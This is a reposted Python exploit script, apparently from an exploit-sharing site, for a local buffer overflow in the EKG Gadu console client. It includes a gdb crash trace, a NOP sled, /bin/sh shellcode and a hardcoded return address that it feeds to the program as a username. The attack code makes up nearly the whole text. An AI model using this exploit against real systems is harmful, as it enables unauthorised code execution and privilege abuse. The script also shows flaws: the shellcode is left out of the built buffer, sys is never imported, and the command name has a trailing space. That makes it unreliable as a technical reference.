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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit developed using Exploit Pack v6.01
# Exploit Author: Juan Sacco - http://www.exploitpack.com -
# jsacco@exploitpack.com
# Program affected: EKG Gadu
# Affected value: USERNAME
# Version: 1:1.9~pre+r2855-3+b1
#
# Tested and developed under:  Kali Linux 2.0 x86 - https://www.kali.org
# Program description:  console Gadu Gadu client for UNIX systems - ncurses UI
# EKG ("Eksperymentalny Klient Gadu-Gadu") is an open source
# Gadu-Gadu client for UNIX systems.
# Kali Linux 2.0 package: pool/main/e/ekg/ekg_1.9~pre+r2855-3+b1_i386.deb
# MD5sum: c752577dfb5ea44513a3fb351d431afa
# Website: http://ekg.chmurka.net/
#
# gdb$ run `python -c 'print "A"*258'`
# 0x0807e125 in strlcpy ()
# gdb$ backtrace
# #0  0x0807e125 in strlcpy ()
# #1  0x080570bb in ioctld_socket ()
# #2  0x08052e60 in main ()


import os, subprocess

def run():
  try:
    print "# EKG Gadu - Local Buffer Overflow by Juan Sacco"
    print "# This Exploit has been developed using Exploit Pack -
http://exploitpack.com"
    # NOPSLED + SHELLCODE + EIP

    buffersize = 240
    nopsled = "\x90"*30
    shellcode =
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
    eip = "\x20\xf1\xff\xbf"
    buffer = nopsled * (buffersize-len(shellcode)) + eip
    subprocess.call(["ekg ",' ', buffer])

  except OSError as e:
    if e.errno == os.errno.ENOENT:
        print "Sorry, EKG Gadu - Not found!"
    else:
        print "Error executing exploit"
    raise

def howtousage():
  print "Snap! Something went wrong"
  sys.exit(-1)

if __name__ == '__main__':
  try:
    print "Exploit EKG Gadu -  Local Overflow Exploit"
    print "Author: Juan Sacco - Exploit Pack"
  except IndexError:
    howtousage()
run()